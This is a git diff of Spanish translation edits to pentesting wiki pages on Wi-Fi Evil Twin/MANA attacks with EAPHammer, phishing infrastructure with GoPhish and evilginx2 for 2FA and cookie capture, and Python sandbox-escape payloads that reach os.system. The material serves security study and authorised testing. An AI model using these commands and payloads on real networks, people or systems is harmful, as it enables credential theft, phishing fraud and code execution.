- El protocolo 802.11 define cómo una estación se une a un Conjunto de Servicio Extendida (ESS), pero no especifica los criterios para seleccionar un ESS o un punto de acceso (AP) dentro de él.
|
||||
- El protocolo 802.11 define cómo una estación se une a un Conjunto de Servicio Ampliado (ESS), pero no especifica los criterios para seleccionar un ESS o un punto de acceso (AP) dentro de él.
|
||||
- Las estaciones pueden moverse entre APs que comparten el mismo ESSID, manteniendo la conectividad a través de un edificio o área.
|
||||
- El protocolo requiere autenticación de la estación al ESS, pero no exige autenticación del AP a la estación.
|
||||
|
||||
### Listas de redes preferidas (PNL)
|
||||
### Listas de redes preferidas (PNLs)
|
||||
|
||||
- Las estaciones almacenan el ESSID de cada red inalámbrica a la que se conectan en su Lista de Redes Preferidas (PNL), junto con detalles de configuración específicos de la red.
|
||||
- La PNL se utiliza para conectarse automáticamente a redes conocidas, mejorando la experiencia del usuario al simplificar el proceso de conexión.
|
||||
|
||||
### Escaneo pasivo
|
||||
|
||||
- Los APs transmiten periódicamente tramas de baliza, anunciando su presencia y características, incluyendo el ESSID del AP a menos que la transmisión esté desactivada.
|
||||
- Los APs transmiten periódicamente tramas de baliza, anunciando su presencia y características, incluido el ESSID del AP a menos que la transmisión esté desactivada.
|
||||
- Durante el escaneo pasivo, las estaciones escuchan las tramas de baliza. Si el ESSID de una baliza coincide con una entrada en la PNL de la estación, la estación puede conectarse automáticamente a ese AP.
|
||||
- El conocimiento de la PNL de un dispositivo permite una posible explotación al imitar el ESSID de una red conocida, engañando al dispositivo para que se conecte a un AP malicioso.
|
||||
|
||||
@ -524,7 +524,7 @@ Puedes crear un **Evil Twin usando WPA/2** y si los dispositivos están configur
|
||||
```
|
||||
### Enterprise Evil Twin
|
||||
|
||||
Para entender estos ataques, recomendaría leer antes la breve [explicación de WPA Enterprise](./#wpa-enterprise-mgt).
|
||||
Para entender estos ataques, recomendaría leer antes la breve [explicación de WPA Enterprise](#wpa-enterprise-mgt).
|
||||
|
||||
**Usando hostapd-wpe**
|
||||
|
||||
@ -545,11 +545,11 @@ En el archivo de configuración puedes seleccionar muchas cosas diferentes como
|
||||
# Launch Attack
|
||||
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
|
||||
```
|
||||
Por defecto, EAPHammer propone estos métodos de autenticación (nota GTC como el primero en intentar obtener contraseñas en texto plano y luego el uso de métodos de autenticación más robustos):
|
||||
Por defecto, EAPHammer propone estos métodos de autenticación (notar GTC como el primero en intentar obtener contraseñas en texto plano y luego el uso de métodos de autenticación más robustos):
|
||||
```
|
||||
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
||||
```
|
||||
Esta es la metodología predeterminada para evitar largos tiempos de conexión. Sin embargo, también puedes especificar al servidor los métodos de autenticación de más débiles a más fuertes:
|
||||
Esta es la metodología predeterminada para evitar largos tiempos de conexión. Sin embargo, también puedes especificar al servidor los métodos de autenticación de más débil a más fuerte:
|
||||
```
|
||||
--negotiate weakest
|
||||
```
|
||||
@ -566,7 +566,7 @@ O también podrías usar:
|
||||
|
||||
.png>)
|
||||
|
||||
### Depurando túneles TLS PEAP y EAP-TTLS en ataques de Evil Twins
|
||||
### Depurando túneles TLS de PEAP y EAP-TTLS en ataques de Evil Twins
|
||||
|
||||
_Este método fue probado en una conexión PEAP, pero como estoy descifrando un túnel TLS arbitrario, esto también debería funcionar con EAP-TTLS_
|
||||
|
||||
@ -575,7 +575,7 @@ Esto hará que `hostapd-wpe` **intercambie claves usando RSA** en lugar de DH, p
|
||||
|
||||
Ahora inicia el **Evil Twin** usando **`hostapd-wpe`** con esa configuración modificada como de costumbre. Además, inicia **`wireshark`** en la **interfaz** que está realizando el ataque de Evil Twin.
|
||||
|
||||
Ahora o más tarde (cuando ya hayas capturado algunos intentos de autenticación) puedes agregar la clave RSA privada a wireshark en: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
|
||||
Ahora o más tarde (cuando ya hayas capturado algunas intenciones de autenticación) puedes agregar la clave RSA privada a wireshark en: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
|
||||
|
||||
Agrega una nueva entrada y completa el formulario con estos valores: **Dirección IP = cualquier** -- **Puerto = 0** -- **Protocolo = data** -- **Archivo de clave** (**selecciona tu archivo de clave**, para evitar problemas selecciona un archivo de clave **sin estar protegido por contraseña**).
|
||||
|
||||
@ -589,16 +589,16 @@ Y mira la nueva **pestaña "Decrypted TLS"**:
|
||||
|
||||
### Listas negras/blancas de ESSID y MAC
|
||||
|
||||
Diferentes tipos de Listas de Filtros de Control de Acceso a Medios (MFACLs) y sus correspondientes modos y efectos en el comportamiento de un Punto de Acceso (AP) no autorizado:
|
||||
Diferentes tipos de Listas de Filtros de Control de Acceso a Medios (MFACLs) y sus correspondientes modos y efectos en el comportamiento de un Punto de Acceso (AP) malicioso:
|
||||
|
||||
1. **Lista blanca basada en MAC**:
|
||||
- El AP no autorizado solo responderá a solicitudes de sondeo de dispositivos especificados en la lista blanca, permaneciendo invisible para todos los demás no listados.
|
||||
- El AP malicioso solo responderá a solicitudes de sondeo de dispositivos especificados en la lista blanca, permaneciendo invisible para todos los demás no listados.
|
||||
2. **Lista negra basada en MAC**:
|
||||
- El AP no autorizado ignorará las solicitudes de sondeo de dispositivos en la lista negra, haciendo que el AP no autorizado sea invisible para esos dispositivos específicos.
|
||||
- El AP malicioso ignorará las solicitudes de sondeo de dispositivos en la lista negra, haciendo que el AP malicioso sea invisible para esos dispositivos específicos.
|
||||
3. **Lista blanca basada en SSID**:
|
||||
- El AP no autorizado responderá a solicitudes de sondeo solo para ESSIDs específicos listados, haciéndolo invisible para dispositivos cuyas Listas de Redes Preferidas (PNLs) no contengan esos ESSIDs.
|
||||
- El AP malicioso responderá a solicitudes de sondeo solo para ESSIDs específicos listados, haciéndolo invisible para dispositivos cuyas Listas de Redes Preferidas (PNLs) no contengan esos ESSIDs.
|
||||
4. **Lista negra basada en SSID**:
|
||||
- El AP no autorizado no responderá a solicitudes de sondeo para los ESSIDs específicos en la lista negra, haciéndolo invisible para dispositivos que buscan esas redes particulares.
|
||||
- El AP malicioso no responderá a solicitudes de sondeo para los ESSIDs específicos en la lista negra, haciéndolo invisible para dispositivos que buscan esas redes particulares.
|
||||
```bash
|
||||
# example EAPHammer MFACL file, wildcards can be used
|
||||
09:6a:06:c8:36:af
|
||||
@ -638,7 +638,7 @@ Un **ataque Loud MANA** es una estrategia avanzada para cuando los dispositivos
|
||||
```
|
||||
### Known Beacon attack
|
||||
|
||||
Cuando el **Loud MANA attack** puede no ser suficiente, el **Known Beacon attack** presenta otro enfoque. Este método **fuerza el proceso de conexión simulando un AP que responde a cualquier nombre de red, recorriendo una lista de ESSIDs potenciales** derivados de una lista de palabras. Esto simula la presencia de numerosas redes, con la esperanza de hacer coincidir un ESSID dentro de la PNL de la víctima, lo que provoca un intento de conexión al AP fabricado. El ataque puede ser amplificado combinándolo con la opción `--loud` para un intento más agresivo de atrapar dispositivos.
|
||||
Cuando el **Loud MANA attack** puede no ser suficiente, el **Known Beacon attack** presenta otro enfoque. Este método **fuerza el proceso de conexión simulando un AP que responde a cualquier nombre de red, recorriendo una lista de ESSIDs potenciales** derivados de una lista de palabras. Esto simula la presencia de numerosas redes, con la esperanza de coincidir un ESSID dentro de la PNL de la víctima, lo que provoca un intento de conexión al AP fabricado. El ataque puede ser amplificado combinándolo con la opción `--loud` para un intento más agresivo de atrapar dispositivos.
|
||||
|
||||
Eaphammer implementó este ataque como un MANA attack donde todos los ESSIDs dentro de una lista son cargados (también podrías combinar esto con `--loud` para crear un ataque Loud MANA + Known beacons):
|
||||
```bash
|
||||
@ -657,7 +657,7 @@ El **ataque de Beacon Burst Conocido** implica **la transmisión rápida de tram
|
||||
```
|
||||
## Wi-Fi Direct
|
||||
|
||||
**Wi-Fi Direct** es un protocolo que permite a los dispositivos conectarse directamente entre sí utilizando Wi-Fi sin necesidad de un punto de acceso inalámbrico tradicional. Esta capacidad está integrada en varios dispositivos de Internet de las Cosas (IoT), como impresoras y televisores, facilitando la comunicación directa entre dispositivos. Una característica notable de Wi-Fi Direct es que un dispositivo asume el papel de un punto de acceso, conocido como el propietario del grupo, para gestionar la conexión.
|
||||
**Wi-Fi Direct** es un protocolo que permite a los dispositivos conectarse directamente entre sí utilizando Wi-Fi sin necesidad de un punto de acceso inalámbrico tradicional. Esta capacidad está integrada en varios dispositivos de Internet de las Cosas (IoT), como impresoras y televisores, facilitando la comunicación directa entre dispositivos. Una característica notable de Wi-Fi Direct es que un dispositivo asume el papel de punto de acceso, conocido como el propietario del grupo, para gestionar la conexión.
|
||||
|
||||
La seguridad para las conexiones Wi-Fi Direct se establece a través de **Wi-Fi Protected Setup (WPS)**, que admite varios métodos para emparejamiento seguro, incluyendo:
|
||||
|
||||
|
||||
@ -10,7 +10,7 @@
|
||||
3. Usar **OSINT** para **encontrar correos electrónicos**.
|
||||
2. Preparar el entorno
|
||||
1. **Comprar el dominio** que vas a usar para la evaluación de phishing.
|
||||
2. **Configurar el servicio de correo** relacionado (SPF, DMARC, DKIM, rDNS).
|
||||
2. **Configurar el servicio de correo** registros relacionados (SPF, DMARC, DKIM, rDNS).
|
||||
3. Configurar el VPS con **gophish**.
|
||||
3. Preparar la campaña
|
||||
1. Preparar la **plantilla de correo electrónico**.
|
||||
@ -22,7 +22,7 @@
|
||||
### Técnicas de Variación de Nombres de Dominio
|
||||
|
||||
- **Palabra clave**: El nombre de dominio **contiene** una **palabra clave** importante del dominio original (por ejemplo, zelster.com-management.com).
|
||||
- **Subdominio con guion**: Cambiar el **punto por un guion** de un subdominio (por ejemplo, www-zelster.com).
|
||||
- **subdominio con guion**: Cambiar el **punto por un guion** de un subdominio (por ejemplo, www-zelster.com).
|
||||
- **Nuevo TLD**: Mismo dominio usando un **nuevo TLD** (por ejemplo, zelster.org).
|
||||
- **Homoglyph**: **Reemplaza** una letra en el nombre de dominio con **letras que se ven similares** (por ejemplo, zelfser.com).
|
||||
- **Transposición:** **Intercambia dos letras** dentro del nombre de dominio (por ejemplo, zelsetr.com).
|
||||
@ -73,8 +73,8 @@ Para asegurarte de que el dominio expirado que vas a comprar **ya tiene un buen
|
||||
- [https://hunter.io/](https://hunter.io)
|
||||
- [https://anymailfinder.com/](https://anymailfinder.com)
|
||||
|
||||
Para **descubrir más** direcciones de correo electrónico válidas o **verificar las que ya has descubierto**, puedes comprobar si puedes forzar por fuerza bruta los servidores smtp de la víctima. [Aprende cómo verificar/descubrir direcciones de correo electrónico aquí](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration).\
|
||||
Además, no olvides que si los usuarios utilizan **cualquier portal web para acceder a sus correos**, puedes verificar si es vulnerable a **fuerza bruta de nombres de usuario** y explotar la vulnerabilidad si es posible.
|
||||
Para **descubrir más** direcciones de correo electrónico válidas o **verificar las que ya has descubierto**, puedes comprobar si puedes forzar por fuerza bruta los servidores smtp de la víctima. [Aprende cómo verificar/descubrir direcciones de correo electrónico aquí](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
|
||||
Además, no olvides que si los usuarios utilizan **cualquier portal web para acceder a sus correos**, puedes verificar si es vulnerable a **fuerza bruta de nombres de usuario**, y explotar la vulnerabilidad si es posible.
|
||||
|
||||
## Configurando GoPhish
|
||||
|
||||
@ -122,11 +122,11 @@ Luego agrega el dominio a los siguientes archivos:
|
||||
`myhostname = <domain>`\
|
||||
`mydestination = $myhostname, <domain>, localhost.com, localhost`
|
||||
|
||||
Finalmente modifica los archivos **`/etc/hostname`** y **`/etc/mailname`** a tu nombre de dominio y **reinicia tu VPS.**
|
||||
Finalmente, modifica los archivos **`/etc/hostname`** y **`/etc/mailname`** a tu nombre de dominio y **reinicia tu VPS.**
|
||||
|
||||
Ahora, crea un **registro A de DNS** de `mail.<domain>` apuntando a la **dirección IP** del VPS y un **registro MX de DNS** apuntando a `mail.<domain>`
|
||||
Ahora, crea un **registro DNS A** de `mail.<domain>` apuntando a la **dirección IP** del VPS y un **registro DNS MX** apuntando a `mail.<domain>`
|
||||
|
||||
Ahora probemos enviar un correo:
|
||||
Ahora probemos enviar un correo electrónico:
|
||||
```bash
|
||||
apt install mailutils
|
||||
echo "This is the body of the email" | mail -s "This is the subject line" test@email.com
|
||||
@ -208,7 +208,7 @@ case $1 in
|
||||
start|stop|status) "$1" ;;
|
||||
esac
|
||||
```
|
||||
Termina de configurar el servicio y verifica su funcionamiento haciendo:
|
||||
Termina de configurar el servicio y verifica que funcione:
|
||||
```bash
|
||||
mkdir /var/log/gophish
|
||||
chmod +x /etc/init.d/gophish
|
||||
@ -231,9 +231,9 @@ Ten en cuenta que incluso si tienes que esperar una semana, puedes terminar de c
|
||||
|
||||
Configura un registro rDNS (PTR) que resuelva la dirección IP del VPS al nombre de dominio.
|
||||
|
||||
### Registro de Marco de Políticas de Remitente (SPF)
|
||||
### Registro de Sender Policy Framework (SPF)
|
||||
|
||||
Debes **configurar un registro SPF para el nuevo dominio**. Si no sabes qué es un registro SPF [**lee esta página**](../../network-services-pentesting/pentesting-smtp/#spf).
|
||||
Debes **configurar un registro SPF para el nuevo dominio**. Si no sabes qué es un registro SPF [**lee esta página**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
|
||||
|
||||
Puedes usar [https://www.spfwizard.net/](https://www.spfwizard.net) para generar tu política SPF (usa la IP de la máquina VPS)
|
||||
|
||||
@ -245,7 +245,7 @@ v=spf1 mx a ip4:ip.ip.ip.ip ?all
|
||||
```
|
||||
### Registro de Autenticación, Informe y Conformidad de Mensajes Basado en Dominio (DMARC)
|
||||
|
||||
Debes **configurar un registro DMARC para el nuevo dominio**. Si no sabes qué es un registro DMARC [**lee esta página**](../../network-services-pentesting/pentesting-smtp/#dmarc).
|
||||
Debes **configurar un registro DMARC para el nuevo dominio**. Si no sabes qué es un registro DMARC [**lee esta página**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
|
||||
|
||||
Tienes que crear un nuevo registro DNS TXT apuntando al nombre de host `_dmarc.<domain>` con el siguiente contenido:
|
||||
```bash
|
||||
@ -253,7 +253,7 @@ v=DMARC1; p=none
|
||||
```
|
||||
### DomainKeys Identified Mail (DKIM)
|
||||
|
||||
Debes **configurar un DKIM para el nuevo dominio**. Si no sabes qué es un registro DMARC [**lee esta página**](../../network-services-pentesting/pentesting-smtp/#dkim).
|
||||
Debes **configurar un DKIM para el nuevo dominio**. Si no sabes qué es un registro DMARC [**lee esta página**](../../network-services-pentesting/pentesting-smtp/index.html#dkim).
|
||||
|
||||
Este tutorial se basa en: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
|
||||
|
||||
@ -305,11 +305,11 @@ La página [www.mail-tester.com](https://www.mail-tester.com) puede indicarte si
|
||||
- Decide desde qué cuenta vas a enviar los correos electrónicos de phishing. Sugerencias: _noreply, support, servicedesk, salesforce..._
|
||||
- Puedes dejar en blanco el nombre de usuario y la contraseña, pero asegúrate de marcar la opción Ignorar Errores de Certificado
|
||||
|
||||
 (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
|
||||
 (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
|
||||
|
||||
> [!NOTE]
|
||||
> Se recomienda utilizar la funcionalidad "**Enviar correo de prueba**" para comprobar que todo está funcionando.\
|
||||
> Recomendaría **enviar los correos de prueba a direcciones de 10min** para evitar ser incluido en la lista negra al realizar pruebas.
|
||||
> Recomendaría **enviar los correos de prueba a direcciones de 10min** para evitar ser incluido en la lista negra al hacer pruebas.
|
||||
|
||||
### Plantilla de correo electrónico
|
||||
|
||||
@ -337,7 +337,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
|
||||
```
|
||||
Nota que **para aumentar la credibilidad del correo electrónico**, se recomienda usar alguna firma de un correo del cliente. Sugerencias:
|
||||
|
||||
- Envía un correo a una **dirección no existente** y verifica si la respuesta tiene alguna firma.
|
||||
- Envía un correo a una **dirección inexistente** y verifica si la respuesta tiene alguna firma.
|
||||
- Busca **correos públicos** como info@ex.com o press@ex.com o public@ex.com y envíales un correo y espera la respuesta.
|
||||
- Intenta contactar **algún correo válido descubierto** y espera la respuesta.
|
||||
|
||||
@ -410,7 +410,7 @@ Aquí es donde herramientas como [**evilginx2**](https://github.com/kgretzky/evi
|
||||
1. **Suplantas el formulario de inicio de sesión** de la página web real.
|
||||
2. El usuario **envía** sus **credenciales** a tu página falsa y la herramienta envía esas credenciales a la página web real, **verificando si las credenciales funcionan**.
|
||||
3. Si la cuenta está configurada con **2FA**, la página MitM lo pedirá y una vez que el **usuario lo introduzca**, la herramienta lo enviará a la página web real.
|
||||
4. Una vez que el usuario esté autenticado, tú (como atacante) habrás **capturado las credenciales, el 2FA, la cookie y cualquier información** de cada interacción mientras la herramienta realiza un MitM.
|
||||
4. Una vez que el usuario esté autenticado, tú (como atacante) habrás **capturado las credenciales, el 2FA, la cookie y cualquier información** de cada interacción mientras la herramienta está realizando un MitM.
|
||||
|
||||
### A través de VNC
|
||||
|
||||
@ -422,7 +422,7 @@ Puedes hacer esto con [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
|
||||
Obviamente, una de las mejores maneras de saber si te han descubierto es **buscar tu dominio en listas negras**. Si aparece listado, de alguna manera tu dominio fue detectado como sospechoso.\
|
||||
Una forma fácil de verificar si tu dominio aparece en alguna lista negra es usar [https://malwareworld.com/](https://malwareworld.com)
|
||||
|
||||
Sin embargo, hay otras formas de saber si la víctima está **buscando activamente actividad sospechosa de phishing en la red** como se explica en:
|
||||
Sin embargo, hay otras formas de saber si la víctima está **buscando activamente actividad sospechosa de phishing en la red**, como se explica en:
|
||||
|
||||
{{#ref}}
|
||||
detecting-phising.md
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
**Páginas interesantes para revisar:**
|
||||
|
||||
- [**Trucos de hacking de Pyscript**](pyscript.md)
|
||||
- [**Deserializaciones de Python**](../../pentesting-web/deserialization/#python)
|
||||
- [**Deserializaciones de Python**](../../pentesting-web/deserialization/index.html#python)
|
||||
- [**Trucos para eludir sandboxes de python**](bypass-python-sandboxes/)
|
||||
- [**Sintaxis básica de solicitudes web en python**](web-requests.md)
|
||||
- [**Sintaxis y bibliotecas básicas de python**](basic-python.md)
|
||||
|
||||
@ -39,7 +39,7 @@ open('/var/www/html/input', 'w').write('123')
|
||||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
Recuerda que las funciones _**open**_ y _**read**_ pueden ser útiles para **leer archivos** dentro de la sandbox de python y para **escribir algún código** que podrías **ejecutar** para **eludir** la sandbox.
|
||||
Recuerda que las funciones _**open**_ y _**read**_ pueden ser útiles para **leer archivos** dentro del sandbox de python y para **escribir algún código** que podrías **ejecutar** para **eludir** el sandbox.
|
||||
|
||||
> [!CAUTION]
|
||||
> La función **input()** de Python2 permite ejecutar código python antes de que el programa se bloquee.
|
||||
@ -48,7 +48,7 @@ Python intenta **cargar bibliotecas del directorio actual primero** (el siguient
|
||||
|
||||
.png>)
|
||||
|
||||
## Eludir la sandbox de pickle con los paquetes de python instalados por defecto
|
||||
## Eludir el sandbox de pickle con los paquetes de python instalados por defecto
|
||||
|
||||
### Paquetes por defecto
|
||||
|
||||
@ -88,7 +88,7 @@ Puedes descargar el paquete para crear el reverse shell aquí. Por favor, ten en
|
||||
## Eval-ing python code
|
||||
|
||||
> [!WARNING]
|
||||
> Ten en cuenta que exec permite cadenas de múltiples líneas y ";", pero eval no (ver operador walrus)
|
||||
> Ten en cuenta que exec permite cadenas de varias líneas y ";", pero eval no (ver operador walrus)
|
||||
|
||||
Si ciertos caracteres están prohibidos, puedes usar la representación **hex/octal/B64** para **bypassear** la restricción:
|
||||
```python
|
||||
@ -136,7 +136,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
||||
```
|
||||
## Bypass de protecciones a través de codificaciones (UTF-7)
|
||||
|
||||
En [**este informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) se utiliza UFT-7 para cargar y ejecutar código python arbitrario dentro de una aparente sandbox:
|
||||
En [**este informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) se utiliza UTF-7 para cargar y ejecutar código python arbitrario dentro de una aparente sandbox:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
@ -151,7 +151,7 @@ También es posible eludirlo utilizando otras codificaciones, por ejemplo, `raw_
|
||||
|
||||
## Ejecución de Python sin llamadas
|
||||
|
||||
Si estás dentro de una cárcel de python que **no te permite hacer llamadas**, todavía hay algunas formas de **ejecutar funciones arbitrarias, código** y **comandos**.
|
||||
Si estás dentro de una cárcel de python que **no te permite hacer llamadas**, todavía hay algunas maneras de **ejecutar funciones arbitrarias, código** y **comandos**.
|
||||
|
||||
### RCE con [decoradores](https://docs.python.org/3/glossary.html#term-decorator)
|
||||
```python
|
||||
@ -292,7 +292,7 @@ __iadd__ = eval
|
||||
__builtins__.__import__ = X
|
||||
{}[1337]
|
||||
```
|
||||
### Leer archivo con ayuda y licencia de builtins
|
||||
### Leer archivo con ayuda de builtins y licencia
|
||||
```python
|
||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||
a = __builtins__.help
|
||||
@ -306,15 +306,15 @@ pass
|
||||
- [**Funciones integradas de python2**](https://docs.python.org/2/library/functions.html)
|
||||
- [**Funciones integradas de python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
Si puedes acceder al objeto **`__builtins__`** puedes importar bibliotecas (ten en cuenta que también podrías usar aquí otra representación de cadena mostrada en la última sección):
|
||||
Si puedes acceder al objeto **`__builtins__`**, puedes importar bibliotecas (ten en cuenta que también podrías usar aquí otra representación de cadena mostrada en la última sección):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
### No Builtins
|
||||
|
||||
Cuando no tienes `__builtins__`, no podrás importar nada ni siquiera leer o escribir archivos ya que **todas las funciones globales** (como `open`, `import`, `print`...) **no están cargadas**.\
|
||||
Sin embargo, **por defecto, python importa muchos módulos en memoria**. Estos módulos pueden parecer benignos, pero algunos de ellos **también importan funcionalidades peligrosas** dentro de ellos que pueden ser accedidas para obtener incluso **ejecución de código arbitrario**.
|
||||
Cuando no tienes `__builtins__` no podrás importar nada ni siquiera leer o escribir archivos ya que **todas las funciones globales** (como `open`, `import`, `print`...) **no están cargadas**.\
|
||||
Sin embargo, **por defecto, python importa muchos módulos en memoria**. Estos módulos pueden parecer benignos, pero algunos de ellos **también importan funcionalidades peligrosas** dentro de ellos que pueden ser accedidas para obtener incluso **ejecución arbitraria de código**.
|
||||
|
||||
En los siguientes ejemplos puedes observar cómo **abusar** de algunos de estos módulos "**benignos**" cargados para **acceder** a **funcionalidades** **peligrosas** dentro de ellos.
|
||||
|
||||
@ -358,7 +358,7 @@ get_flag.__globals__['__builtins__']
|
||||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
[**A continuación hay una función más grande**](./#recursive-search-of-builtins-globals) para encontrar decenas/**cientos** de **lugares** donde puedes encontrar los **builtins**.
|
||||
[**A continuación hay una función más grande**](#recursive-search-of-builtins-globals) para encontrar decenas/**cientos** de **lugares** donde puedes encontrar los **builtins**.
|
||||
|
||||
#### Python2 y Python3
|
||||
```python
|
||||
@ -376,7 +376,7 @@ __builtins__["__import__"]("os").system("ls")
|
||||
```
|
||||
## Globals y locales
|
||||
|
||||
Verificar los **`globals`** y **`locals`** es una buena manera de saber a qué puedes acceder.
|
||||
Comprobar los **`globals`** y **`locals`** es una buena manera de saber a qué puedes acceder.
|
||||
```python
|
||||
>>> globals()
|
||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||
@ -400,7 +400,7 @@ class_obj.__init__.__globals__
|
||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
[**A continuación hay una función más grande**](./#recursive-search-of-builtins-globals) para encontrar decenas/**cientos** de **lugares** donde puedes encontrar los **globals**.
|
||||
[**A continuación hay una función más grande**](#recursive-search-of-builtins-globals) para encontrar decenas/**cientos** de **lugares** donde puedes encontrar los **globals**.
|
||||
|
||||
## Descubrir Ejecución Arbitraria
|
||||
|
||||
@ -701,7 +701,7 @@ return 'HAL 9000'
|
||||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||
#I'm afraid I can't do that.
|
||||
```
|
||||
**Más ejemplos** sobre **ejemplos** de **cadenas de formato** se pueden encontrar en [**https://pyformat.info/**](https://pyformat.info)
|
||||
**Más ejemplos** sobre **ejemplos de** **cadenas de formato** se pueden encontrar en [**https://pyformat.info/**](https://pyformat.info)
|
||||
|
||||
> [!CAUTION]
|
||||
> Consulta también la siguiente página para gadgets que **leerán información sensible de los objetos internos de Python**:
|
||||
@ -736,7 +736,7 @@ Según el [**desafío TypeMonkey de este informe**](https://corgi.rip/posts/buck
|
||||
|
||||
Como recordatorio, cada vez que se realiza una acción en python, se ejecuta alguna función. Por ejemplo, `2*3` ejecutará **`(2).mul(3)`** o **`{'a':'b'}['a']`** será **`{'a':'b'}.__getitem__('a')`**.
|
||||
|
||||
Tienes más como esto en la sección [**Ejecución de Python sin llamadas**](./#python-execution-without-calls).
|
||||
Tienes más como esto en la sección [**Ejecución de Python sin llamadas**](#python-execution-without-calls).
|
||||
|
||||
Una vulnerabilidad de cadena de formato en python no permite ejecutar funciones (no permite usar paréntesis), por lo que no es posible obtener RCE como `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Sin embargo, es posible usar `[]`. Por lo tanto, si una biblioteca común de python tiene un método **`__getitem__`** o **`__getattr__`** que ejecuta código arbitrario, es posible abusar de ellos para obtener RCE.
|
||||
@ -805,7 +805,7 @@ get_flag.__globals__
|
||||
#If you have access to some variable value
|
||||
CustomClassObject.__class__.__init__.__globals__
|
||||
```
|
||||
[**Vea aquí más lugares para obtener globals**](./#globals-and-locals)
|
||||
[**Ver aquí más lugares para obtener globals**](#globals-and-locals)
|
||||
|
||||
### **Accediendo al código de la función**
|
||||
|
||||
